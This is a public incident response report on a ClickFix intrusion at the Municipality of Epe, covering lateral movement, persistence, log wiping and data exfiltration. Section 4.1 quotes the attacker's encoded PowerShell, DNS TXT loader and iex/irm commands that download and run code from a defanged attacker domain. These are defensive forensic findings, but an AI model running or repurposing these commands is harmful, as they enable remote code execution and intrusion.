Document · PDF

PUBLIC EyeSecurity IR Gemeente Epe Report web

Gemeenteraad 18 juni 2026, gemeente EpeBij agendapunt: Vaststelling Lijst ingekomen stukken d.d. 18 juni 20266.771 woorden

Open het PDF bij iBabs ↗Naar de vergadering →

Tekst van het document

Uit het bestand gehaald, zonder opmaak, tabellen en afbeeldingen

Incident Response Report

22/04/2026 V2

Incident Response Report Municipality of Epe

PUBLIC 1

Incident Response Report

Document Classification This document is classified as PUBLIC. This document and its appendices have been prepared for publication. Prior to release, the report has been reviewed and redacted where necessary to protect sensitive information. In this report, information that, if published, could pose a threat to the (digital) security of Municipality of Epe and/or to individuals employed by or working for the Municipality of Epe, or that is relevant to the criminal investigation, has been anonymized. Any factual references, technical details, and findings presented outside of these anonymized elements reflect the situation as established during the investigation. While this document has been prepared with due care, Eye Securty B.V. accepts no liability for any use of this document or the information contained in it beyond its intended purpose of public disclosure. Eye Security B.V. Saturnusstraat 60-54 2516 AH Den Haag Nederland T +31 (0)88 6444800 (24/7 incident response) T +31 (0)88 6444888 (office hours) info@eye.security https://www.eye.security

Document Distribution Version

Date

Received by

25 March 2026

Gemeente Epe & Previder

22 April 2026

Gemeente Epe & Previder

Sent by

Incident Response Report

Executive Summary On Tuesday, 10 March 2026 17:55 UTC, a security alert related to the installation of Advanced IP Scanner was generated from the host SV-04 within the environment of the municipality of Epe (hereafter: Epe). As additional related alerts emerged over the following two days, Previder B.V. (hereafter: Previder), acting as the Managed Service Provider (MSP), initiated further investigation and subsequently engaged the Eye Security Computer Emergency Response Team (CERT) on 12 March 2026 to assist in the forensic analysis of the incident and securely recovering the network. Eye Security recommended Epe to deploy CrowdStrike, an Endpoint Detection and Response (EDR) solution. Exceptions were added to the firewall to allow Eye Security to remotely investigate the systems of Epe. Eye Security gathered numerous forensic artifacts, which were promptly investigated for forensic traces left behind by the threat actor. Eye Security contained the threat, conducted extensive analysis to determine the root cause of the incident, and removed all backdoors deployed by the threat actor. The root cause of the incident has been traced back to a social engineering attack called ClickFix where a user is persuaded in executing attacker-controlled commands, enabling authorized code execution on the affected endpoint.

After the initial access, an authentication event was observed to the server using an administrator account. Based on the analyzed logs, it is likely that the actor obtained administrative access by performing a well-known attack, targeting multiple service accounts within Active Directory. In addition to the identified lateral movement, the threat actor deployed malware across multiple servers and workstations. The deployed malware functioned as a backdoor allowing the attacker to remotely execute arbitrary commands. By creating a scheduled task configured to run with administrative privileges, thereby maintaining persistent access. During the investigation, it was determined that between 02:00 and 04:45 UTC on 12 March, the threat actor exfiltrated approximately 871 GB of data from the server SV-11. Analysis of the logs from the tool used to exfiltrate the data confirmed that data was taken from 2 network drives. Eye Security has made various recommendations to Epe, based on observations made during the investigation. These recommendations are listed in the separate recommendations document.

Incident Response Report

Table of Contents Table of Contents............................................................................................................................................ 4 1.

Introduction ........................................................................................................................................... 5 1.1.

Approach to Forensic Investigation and Incident Response ................................................................... 5

1.2.

Background ............................................................................................................................................ 5

1.3.

Research Questions ................................................................................................................................ 6

1.4.

Research Limitations .............................................................................................................................. 6

1.5.

Reading Guide ........................................................................................................................................ 7

Municipality of Epe ................................................................................................................................. 8 2.1.

General Context ..................................................................................................................................... 8

2.2.

On-Premise............................................................................................................................................. 8

Investigative Approach ........................................................................................................................... 9 3.1.

Secure Recovery of the Environment ..................................................................................................... 9

3.2.

Mitigative Actions .................................................................................................................................. 9

3.3. Collection of Forensic Evidence ............................................................................................................ 10 3.3.1. On-premise Environment ............................................................................................................ 10 3.3.2. Falcon Forensics Collector (FFC) .................................................................................................. 10 3.3.3. Fortinet Firewall .......................................................................................................................... 12 3.3.4. Kroll Artifact Parser and Extractor (KAPE) ................................................................................... 13 3.4. Technical Analysis ................................................................................................................................ 14 3.4.1. Falcon Forensics Collector (FFC) .................................................................................................. 14 3.4.2. Fortinet Firewall Logs .................................................................................................................. 14 3.4.3. Kroll Artifact Parser and Extractor (KAPE) ................................................................................... 14 4.

Investigative Results ............................................................................................................................. 15 4.1.

Root Cause Analysis ............................................................................................................................. 15

4.2.

Lateral Movement and Further Compromise ....................................................................................... 16

4.3.

Data Exfiltration ................................................................................................................................... 17

Conclusion ............................................................................................................................................ 18 5.1.

How did the threat actor gain access to the network of Epe? ............................................................. 18

5.2.

How can Epe resume its operation in a safe and responsible manner? ............................................... 18

5.3.

What actions did the threat actor perform? ........................................................................................ 18

5.4.

Has data of Epe been stolen by the threat actor, and if so, what data? .............................................. 19

5.5.

How can a cyber incident like this be prevented in the future? ........................................................... 19

Appendix A: Timeline of Events by Threat Actor ........................................................................................... 20 Appendix B: Indicators of Compromise ......................................................................................................... 25

Incident Response Report

Introduction

This report contains findings and observations made by Eye Security B.V.’s (hereafter: Eye Security) Computer Emergency Response Team (CERT) during the investigation of the cybersecurity incident that took place on the IT infrastructure of the municipality of Epe (hereafter: Epe). The investigation took place in collaboration with Epe’s IT service provider Previder B.V. (hereafter: Previder).

1.1.

Approach to Forensic Investigation and Incident Response

Digital forensics rarely allows for a complete reconstruction of an incident or absolute certainty about every event that took place. A traditional approach treats every potentially affected system as lost and rebuilds the environment entirely from scratch, on the assumption that a digital environment can be returned to a fully "clean" state. In practice, this is rarely achievable within the time and operational constraints of a live incident. For this reason, the investigation followed an assume breach principle: rather than seeking exhaustive certainty on every system, the focus was on quickly establishing the scope and impact of the incident, containing the threat, and enabling a safe and timely recovery of the environment, accepting that a degree of residual uncertainty on individual systems is unavoidable. Real-time monitoring was used to compensate for that uncertainty during and after recovery. In this specific case, the approach consisted of the following steps, carried out in parallel where possible: 1. Triage: initial scoping of the incident, identification of affected systems and accounts, and prioritization of investigative and containment actions. 2. Containment and monitoring: deployment of Endpoint Detection & Response (EDR) tooling across in-scope systems, connected to a 24/7 Security Operations Center (SOC) for realtime detection and response. 3.

Investigation: forensic analysis of relevant systems, logs, and artifacts to determine the entry vector, attacker activity, and scope of impact. 4. Recovery and aftercare: supporting the safe restoration of the environment, followed by a defined period of continued monitoring to detect any residual or recurring malicious activity.

1.2.

Background

On Thursday, the 12th of March 2026, Eye Security’s incident response team was engaged by Previder on behalf of Epe. Epe had been compromised by an unknown threat actor on Tuesday, the 10th of March 2026, resulting in unauthorized access to critical crown-jewel systems within the internal network and subsequent data exfiltration. Eye Security’s incident response team began by triaging the incident, determining how the threat actor had gained initial access to the environment and whether they still had access or ways to regain access once the network isolation was lifted. Simultaneously, the CrowdStrike Endpoint Detection and Response software was rolled out across the server systems of Epe to defend

Incident Response Report

systems against new attacks or renewed threat actor activity as well as to aid in the gathering of forensic evidence. Eye Security assisted Previder, on a strategic level, in the process to restore the IT environment of Epe and conducted a forensic investigation into the incident to determine the root cause and discover measures to reduce the likelihood of similar incidents in the future.

1.3.

Research Questions

Epe requested Eye Security to provide incident response services with the goal of answering the following questions:

• • • • •

How did the threat actor gain access to the network of Epe? How can Epe resume its operation in a safe and responsible manner? What actions did the threat actor perform? Has data of Epe been stolen by the threat actor, and if so, what data? How can a cyber incident like this be prevented in the future?

In addition, Eye Security provides recommendations to reduce the likelihood of any such incidents in the future.

1.4.

Research Limitations

During the investigation, not all desired evidence may be available for forensic analysis. For instance, due to destructive actions of the threat actor and short data retention policies. Eye Security coordinated these limitations with Epe, focusing on the ability to answer the research questions. Moreover, rapid restoration of the IT environment had a higher priority than collecting forensic evidence. An overview of the limitations is outlined below:

•

Limited Scope Analysis was carried out on the forensic evidence on the available machines that Eye Security deemed most relevant to the investigation. Traditional digital forensics uses an exhaustive approach to collect all available forensic evidence. Eye Security employs a pragmatic approach: Investigating systems that are directly involved in the timeline in detail, whilst saving valuable time by examining non-relevant systems in less detail but keeping the broader picture in mind.

•

Availability of Logs Eye Security attempted to obtain a full picture of the actions carried out by the threat actor during the period from the 10th to 16th of March 2026. Eye Security is dependent on the availability of logs and other data sources for its investigation. The factors mentioned below played a part in limiting the amount of available logging: o o

The firewall logs had insufficient data retention, meaning logs had been rotated out; The SentinelOne and Aurora environments had limited telemetry;

Incident Response Report

1.5.

The threat actor deleted/wiped/destroyed multiple Windows Event Logs including the System and Security log.

Reading Guide

Chapter 2 describes the IT infrastructure of Epe. Chapter 3 describes the methodology used during the investigation. Chapter 4 contains the results of the investigation. Finally, Chapter 5 contains the conclusion of the research. The appendixes contain a timeline of forensic events and a list of Indicators of Compromise (IoC). All times mentioned are in UTC, unless otherwise specified. All hostnames, usernames and passwords mentioned in the report are anonymized.

Incident Response Report

Municipality of Epe

This chapter describes the IT environment, infrastructure and architecture of Epe at a high level of abstraction, to serve primarily as context for the following chapters.

2.1.

General Context

The Municipality of Epe is a Dutch local authority serving about 33,000 residents. It manages core public services such as civil affairs, social support, and population administration, requiring the storage and processing of sensitive personal data. The IT infrastructure consists of Windows workstations and servers. The network is segmented into multiple VLANs. The affected segment was VLAN 8, which contains servers in the 172.16.8.0/23 range. Other available VLANs include, but are not limited to:

• • • • •

VLAN4 VLAN40 VLAN10 VLAN15 VLAN6

The Active Directory domain local.epe.nl is used throughout the environment, with network segmentation enforced through a Fortinet firewall. However, this enforcement was not applied correctly during the time of the incident, as confirmed by Epe. This matches the observation that the threat actor was able to move laterally to the server VLAN from a desktop. Prior to the incident, SentinelOne (S1) Control was used as the primary Endpoint Protection Platform (EPP), supplemented by Cylance Aurora as an additional endpoint security solution.

2.2.

On-Premise

Systems relevant to this investigation are a member of the local.epe.nl domain. The infrastructure consists of multiple Windows endpoints and 33 Windows servers, of which two servers are domain controllers. While the majority of these servers were running Windows Server 2019, some servers were running Windows Server 2016 and 2022. Epe uses 2 remote management systems: •

The N-Central (Takecontrol) RMM to remotely administer systems.

•

TeamViewer for incidental use by the servicedesk (workstation to workstation)

Incident Response Report

Investigative Approach

This chapter discusses the methodology and tools used to answer the research questions defined in chapter 1.3.

3.1.

Secure Recovery of the Environment

The following activities have been performed by Previder under the guidance of Eye to safely recover the IT infrastructure of Epe:

• • •

Installation of the CrowdStrike Falcon agent on servers within the VLAN segment and on workstations; Restoring backups; Restoring internet connectivity.

During the entire incident response process, Eye has provided support and advice to Epe, to keep the recovered environment secure and operational.

3.2.

Mitigative Actions

The following mitigative actions were taken by Eye and/or Previder after the incident occurred:

• • • • •

Isolating the servers’ network from the internet; o An exception was made for the CrowdStrike cloud platform in the firewall; Reset all Active Directory user, service, and krbtgt account credentials; Isolation of workstation WS-01, later identified as the point of initial access; Determining the presence of backdoors and other persistency mechanisms; Removing backdoors/persistency mechanisms.

Incident Response Report

3.3.

Collection of Forensic Evidence

3.3.1. On-premise Environment Utilizing the CrowdStrike Falcon Agent, Eye Security was able to remotely investigate most of the servers and workstations. For these systems, Eye Security primarily collected evidence mainly through Falcon Forensics Collector (FFC) and on some systems using the Kroll Artifact Parser and Extractor (KAPE). 3.3.2. Falcon Forensics Collector (FFC) The EDR software used by Eye Security, CrowdStrike Falcon, allows for the automatic collection of forensic data from workstations and servers within the environment of Epe. This collected forensic data can then be used to perform incident response investigations, compromise assessments and threat hunting. It works by collecting a snapshot of forensic data after it executes on each system. The FFC then securely uploads the snapshot of forensic triage data to the CrowdStrike Cloud for analysis. The following host-based artifacts are collected with FFC: Artifact

Description

Amcache

Amcache registry hive entry, which contains metadata related to windows Portable Executable binary image (PE) execution and program installation.

BAM

Gathers Background Activity Moderator (BAM) registry entry

Browser

Gathers Windows browser artifacts

DataStore

Processes Windows Update History stored in the DataStore.edb file.

Defender

Pulls defender thread and detection details and generates MpThreat, MpThreatDetection, and dirlist related events for detected and threat file.

Dirlist

Generates a list of files and sub-directories.

Drives

Generates a list of all disks and the FsVolumeMounted event.

Drivers

Provides information about driver files.

Env

Collects information on all system and current user variables.

Events

Collects Windows event logs.

Files

Summarizes all files on a system drive and Collects all of this information into a FileStatisticInfo event.

Groups

Shows information on all user groups of the system.

Incident Response Report

Handles

Shows information for each entry in a process handle table referencing a kernel object.

Jobs

Shows all at jobs in use.

Link

Gives information for each link file and its target file. Target file can be found using Dirlist related events.

LogFile

Collects warning and error log events.

Magic

Collects information on files within the file system that have fake extensions, such as a file that has an extension .doiuv but the byte signature belongs to a PE extension.

Mal

Gives information on malicious DLL files that have identical base names but different SHA256 hashes to MalPaths events.

MFT

Gives information for each volume’s Master File Table (MFT) and each MFT Record.

Network

Collects network information for several different parts of the system including IPv4 and v6 events .

PCA

Collects information on application launch entries in Program Compatibility Assistant.

PEInfo

Information on the Portable Executable (PE) header information, to PeHeaderInfo and Dirlist related events for the PE file.

Pipes

Collects information on named pipes.

Prefetch

Extracts information from .pf files and Layout.ini files

PSList

Shows current running processes into ProcessRollup2 events.

Recentfiles

Collects entries in the RecentFileCache.bcf, this is only used in Windows 7 collections.

Recycle

Collects files found in the recycle bin.

Regdump

Collects information about registry entries.

RegFile

Transforms file references in the registry to RegGenericInfo events and Dirlist related events.

SDB

Collects each tag entry in the Shim Database (SDB).

Services

Collects information about running services.

Incident Response Report

Collects information on network shares.

Shellbag

Collects information for each entry in the Shellbag MRU registry hive.

Shim

Collects information for each Application Compatibility (Shim) Cache registry entry module.

StartupInfo

Collects information on each process started during the first 90 seconds of bootup in StartupInfo XML files.

SRUM

Collects details about system resource usage by each user process in the Application Resource table of the System Resource Usage Monitor database. Also Collects network resources, data usage and resource usage timeline.

Superfetch

Collects information from AgForegroundAppHistory.db and each application running schedule/period from AgGlobalHistory.db.

Syscache

Collects information on the syscache registry hive.

Tasks

Collects information for each scheduled task.

UAL

Collects information on per-user access log entry for a service role and IP address pair in the CLIENTS table of the UAL database on windows servers.

USB

Collects information for each USB device attached to the system.

UserAssist

Collects information on each application launched via a user-assisted GUI menu.

Users

Collects information about user accounts on the host.

USN Journal

Collects information within the USN Journal

Webshell

Collects probability and statistics if a scanned file is a WebShell.

WMIQuery

Collects information from the Windows Management Instrumentation (WMI) query status.

If there are unresolved questions that cannot be answered with this collection, additional evidence was gathered using CrowdStrike Real-Time Response (RTR). This tool establishes a remote connection, allowing for the execution of PowerShell commands directly on the target systems to retrieve further information. 3.3.3. Fortinet Firewall The municipality of Epe utilizes two Fortinet Firewalls as the perimeter security device for its infrastructure. Firewall log files were unavailable for analysis due to prior log rotation. 12

Incident Response Report

3.3.4. Kroll Artifact Parser and Extractor (KAPE) For a few systems, Eye Security manually collected forensic triage packages using the Kroll Artifact Parser and Extractor (KAPE). The data collected was similar to the data collected by the FFC, however, the KAPE triage gave access to the raw artifacts and therefore more methods to analyze the data. The triage packages were created using the ‘SANS_Triage.tkape’ target. This target collects most forensically relevant data from a system, including:

• • • • • • • • • • • • • • • • •

Antivirus event logs, Cloud storage logs, Windows Group Policies, Evidence of file execution, File system metadata, LNK files and Jump lists, Messaging applications, Recycle bin files, Registry Hives, Remote Access application logs, Scheduled Tasks, System Resource Utilization Monitor (SRUM), Windows Error Reporting, Thumbcache, Windows Management Instrumentation, Web Browser Information, Windows Timeline database.

After the evidence was collected by KAPE and compiled into forensic triage packages, these packages were securely uploaded to the CrowdStrike Cloud. Eye Security then downloaded them from the CrowdStrike Cloud for analysis.

Incident Response Report

3.4.

Technical Analysis

The following section provides a high-level overview of the technical forensic analyses conducted by the incident response team. It outlines the methodologies, tools, and approaches applied during the examination process, without going into detailed technical output, to give a clear understanding of the investigative approach taken. 3.4.1. Falcon Forensics Collector (FFC) Once the triage packages created by FFC are uploaded to the CrowdStrike Cloud, they become accessible through the CrowdStrike Falcon console. Our analysts used the following tools and features to analyze the collected data:

• • •

•

Event Timeline: Analysts can view a detailed timeline of events, including file access, process execution and network activity. This helps in understanding the sequence of events leading up to and following a security incident. Indicators of Compromise (IoCs): The dashboard automatically highlights potential IOCs based on the collected data, such as suspicious processes, unauthorized access attempts and anomalous behavior. Correlation with Threat Intelligence: The platform integrates with CrowdStrike’s threat intelligence, enabling analysts to correlate findings with known threats and attack techniques. This can provide additional context and help in identifying the attacker’s tactics. Search and Query Tools: Analysts can search and query the collected data for specific artifacts, keywords or patterns. This helps in pinpointing specific evidence or confirming hypotheses about the incident.

Eye Security also uses a solution developed in-house to automatically run custom queries on the collected data, creating useful overviews for analysts to focus on, rather than running the queries themselves. 3.4.2. Fortinet Firewall Logs The log files of the Fortinet firewall were unavailable for analysis due to prior log rotation. 3.4.3. Kroll Artifact Parser and Extractor (KAPE) Analysts can analyze the output of KAPE (Kroll Artifact Parser and Extractor) by leveraging opensource tools like Plaso to extract and interpret digital forensic artifacts. Plaso can create a timeline of events from forensic artifacts by parsing KAPE outputs to reconstruct a chronological sequence of all activities on the system. For certain artifacts, specialized open-source analysis tools were employed based on the analyst’s needs. These tools are designed to parse individual artifacts in greater detail than Plaso, enabling a more in-depth examination of specific data types and providing additional insights that might not be as readily accessible through Plaso alone.

Incident Response Report

Investigative Results

This chapter contains an overview of observations and findings made during the forensic investigation into the incident. It does not detail every action but instead highlights the most valuable information obtained in the forensic investigation.

4.1.

Root Cause Analysis

Eye Security investigated multiple servers within the VLAN40 network as well as relevant workstations by looking at the forensic data available. During this investigation, it was determined that the first malicious activity occurred on Tuesday, 10 March 2026 at 13:09 on workstation WS-01, where an encoded PowerShell command associated with a ClickFix attack that has been executed. cmd /c echo saps powershell '-nop -enc aQB[snip]wApAA==' -Wi H|powershell -nop -

The Base64-encoded PowerShell command decodes to: iex((Resolve-DnsName -Type TXT app[.]toocleanautodetail[.]com -Server 8.8.8.8).Strings -join '')

This command retrieves text data from DNS TXT record of the attacker-controlled domain and executes it directly in memory. Upon querying the attacker-controlled domain’s TXT records, Eye Security identified embedded PowerShell code, presented below. iex(irm 'https://toocleanautodetail[.]com/YkU5C7Eb?t=iOeFWdlpYIslqOE7PWn-3w'); irm ' https://toocleanautodetail[.]com/YkU5C7Eb?s=2&p=1&t=iOeFWdlpYIslqOE7PWn3w'%7Ciex

This command instructs the system to download PowerShell code from a remote server using the Invoke-RestMethod (irm) cmdlet and execute it in memory using the Invoke-Expression (iex) cmdlet, without saving anything to disk. The PowerShell code could not be recovered because the remote server was offline during analysis. After the script execution, a persistence mechanism was added using Registry Run Keys which executes upon user login. Two run key entries were observed named NvidiaUpdate and SpotifyWebHelper. Both run keys had a value of encoded PowerShell command such as the one presented below. powershell -w h -enc UwB0AGEAcg[snip]G4A

The Base64-encoded PowerShell command decodes to another PowerShell process that executes a base64-encoded command in a hidden window. The decoded value of this command is shown below. try { iex(irm 'https://toocleanautodetail[.]com/YkU5C7Eb?t=5prVel7rA6T38_XvaFe8fA') } catch { sleep 1; iex(irm 'https://toocleanautodetail[.]com/YkU5C7Eb?t=5prVel7rA6T38_XvaFe8fA') };

Incident Response Report

irm 'https://toocleanautodetail[.]com/YkU5C7Eb?s=2&p=1&t=5prVel7rA6T38_XvaFe8fA'|iex

The combination of encoded PowerShell commands and the retrieval of additional code through DNS TXT records is strong indication of a ClickFix attack. This technique relies on social engineering, in which victims are misled by fake CAPTCHA prompts or error messages and are tricked into executing a malicious command themselves. Epe confirmed that the involved user recognized this behavior. The exact method used by the threat actor to convince the user to execute the command could not be determined by Eye Security with the forensic data available.

4.2.

Lateral Movement and Further Compromise

Following the initial compromise of workstation WS-01 on Tuesday, 10 March 2026 at 13:09 (directly after the execution of the ClickFix payload), Eye Security deems it highly likely that the actor conducted a Kerberoasting attack at 13:56, targeting multiple service accounts within Active Directory. This technique enables an actor to request a Kerberos Service Ticket (TGS) from the Kerberos Distribution Center (KDC) for accounts with Service Principal Names (SPNs) and subsequently attempt to crack these tickets offline. If a service account uses a weak password, the attacker can recover the plain text credentials. At 14:10 on 10 March 2026, the actor began enumerating Windows servers in Active Directory to identify potential lateral-movement targets. Shortly thereafter, the actor initiated a hard-coded credential spray attempt over the Windows Management Instrumentation (WMI) protocol using credentials associated with AdmUser2 account Based on the sequence of observed actions, it is likely that the actor successfully cracked the Kerberos service ticket associated with the admin account and obtained its plain-text password, enabling further lateral movement within the environment. At 14:13 the actor authenticated to SV-01 using the compromised admin account.

Multiple similar events at the same timestamp show that the attacker attempted coordinated lateral movement from SV-01 toward other servers (SV-10, SV-09) using the same compromised credentials. Between 14:34 and 14:39, the actor escalated actions on SV-03 by disabling Windows Defender real time protection and creating a malicious scheduled task configured to run every 12 hours under system privileges, thereby establishing persistence. Approximately fifteen minutes later, the Security log on the system was cleared, demonstrating deliberate attempts to remove evidence. Later, at 18:00, multiple instances of remote registry dumping executed on SV-02 with system level privileges. Registry Dumping is a technique for harvesting credentials from the SAM, SYSTEM, and SECURITY hives. At the same time, both the Security and System event logs were cleared using the built in Administrator account on SV-04, destroying key forensic artifacts. Due to the limited forensic data (see chapter 1.4), it’s not possible for Eye Security to determine exactly how the switch was made to domain administrator privileges on SV-02. Additionally, on 10 March 2026 at 17:55 and on 11 March 2026 at 23:28 on SV-04, SentinelOne detected the software Advanced IP scanner. The software was also identified on 11 March at 23:37 on server SV-05.

Later, on 12 March at 00:12 and 00:20 the software Advanced IP Scanner and Angry IP Scanner were detected on the server SV-06. SentinelOne performed mitigative actions (killing the process and/or quarantine the executable) on all servers where the software Advanced IP scanner and Angry IP Scanner were detected.

Incident Response Report

It was also observed that between 17:45 on 10 March 2026 and 02:59 on 12 March 2026, the built-in Administrator account on SV-04 initiated 21 RDP authentication attempts to SV-02 using the credentials of the administrator (AdmUser3). On Thursday, 12 March 2026 at 00:09, the break glass account AdmUser4 was used to authenticate to the Veeam server (SV-06) via PowerShell Remoting and executing commands such as ‘quser’. Additionally, the actor placed a malicious DLL (netdrv.dll) and created a malicious scheduled task named ‘\System’ on SV-02, establishing persistence access with system privileges on the domain controller. These actions were detected by Windows Defender at 00:13. Later, at 00:31 on 12 March 2026, the actor created a malicious scheduled task named ‘\Systeem’ on EPE-SV-11 by an admin user. The task was configured with a trigger to execute on every system startup under local system privileges. One minute later, the task was modified to run every 12 hours. At 00:45, the actor downloaded AzCopy using Chrome browser, and at 02:07 the exfiltration of data from EPE-SV-11 via AzCopy started. Data exfiltration stopped at 04:45, after copying roughly 600,000 files amounting to approximately 871 GB.

Then, at 02:53 on 12 March 2026, the actor also created another scheduled task named ‘\Systeem’ that run with system privileges on SV-09, ensuring continued access to the RDS host. Lastly, between 10:20 and 14:00, multiple domain accounts, including the break glass account AdmUser4, had their passwords reset.

4.3.

Data Exfiltration

Eye Security observed that approximately 871 GB of data was exfiltrated from the server SV-11 between 02:00 and 04:45 on 12 March 2026 to the Azure Blob Storage endpoint dfvhi7yh[.]blob.core.windows.net. Log analysis of the exfiltration tool (AzCopy) showed that data was taken from the H: and F: drives (a total of 551.447 files) were exfiltrated by the threat actor. Eye Security shared a complete list of files exfiltrated by the threat actor with Epe on Friday, 13 March 2026. Eye Security monitors the publicly available leak sites, where threat actors publish data from victims. During the incident response engagement and at the time of writing (25-03-2026), Epe has not been mentioned on any of the leak sites that are being monitored.

Incident Response Report

Conclusion

In this chapter, a conclusion is drawn for each research question described in chapter 1.3 based on the findings in chapter 4.

5.1.

How did the threat actor gain access to the network of Epe?

The threat actor gained access to the network of Epe via a user that was compromised with a ClickFix-attack. The attack caused the user to unknowingly execute malicious commands. These commands retrieved malware, which allowed the threat actor to establish persistence on the device and to move laterally into the network. Eye Security has attempted to find the exact method of delivery of the ClickFix vector but has not found conclusive evidence. The scale and impact of the compromise were largely attributable to a combination of environmental factors, including the availability of PowerShell and the Run dialog to end users, as well as a firewall configuration that permitted unrestricted lateral movement from the workstation subnet to the server subnet at the time of the incident.

5.2.

How can Epe resume its operation in a safe and responsible manner?

To ensure a secure recovery, the municipality of Epe has taken the following measures under the guidance of Eye Security and with the support of MSP Previder: • • • •

Deployment of the CrowdStrike Falcon agent on the servers within the VLAN40 network and on workstations. Temporarily blocking network access from the server network (internal → external). Isolation of the workstation where the initial access took place. Reset all passwords for both user and service accounts, as well as the krbtgt account on the domain controllers.

The actions mentioned above made sure that the actor’s access to the environment was removed. CrowdStrike will be enrolled to all workstations available to protect the environment alongside the CrowdStrike agents already active on the server. This, combined with the recommendations provided in the recommendations document, mitigates the current risk of a new cyberattack to an acceptable level and allows operation to resume in a safe and responsible manner.

5.3.

What actions did the threat actor perform?

After gaining initial access, the actor performed the following activities: • • • • • • •

Create persistence via scheduled tasks on various systems throughout the duration of the incident. Disable Windows defender. Enumeration of the active directory to identify available servers and vulnerable users. Lateral movement to different servers and the domain controller (SV-02). Credential harvesting by dumping the registry from the domain controller. Removal of Windows events logs to remove evidence. Exfiltration of data from SV-11.

Incident Response Report

5.4.

Has data of Epe been stolen by the threat actor, and if so, what data?

Based on forensic data and log information, Eye Security concludes that the actor exfiltrated approximately 871GB of data from server SV-11 using the tool azcopy. This tool was downloaded using an administrator account on March 12, 2026 at 11:45. Eye Security has found logfiles generated by the use of azcopy which showed that data has been uploaded to an Azure Blob Storage account. A complete overview of the stolen data can be found in the file list that was shared with municipality of Epe.

5.5.

How can a cyber incident like this be prevented in the future?

See the recommendations listed in the separate recommendation document.

Incident Response Report

Appendix A: Timeline of Events by Threat Actor Date (UTC) 2026-03-10 13:09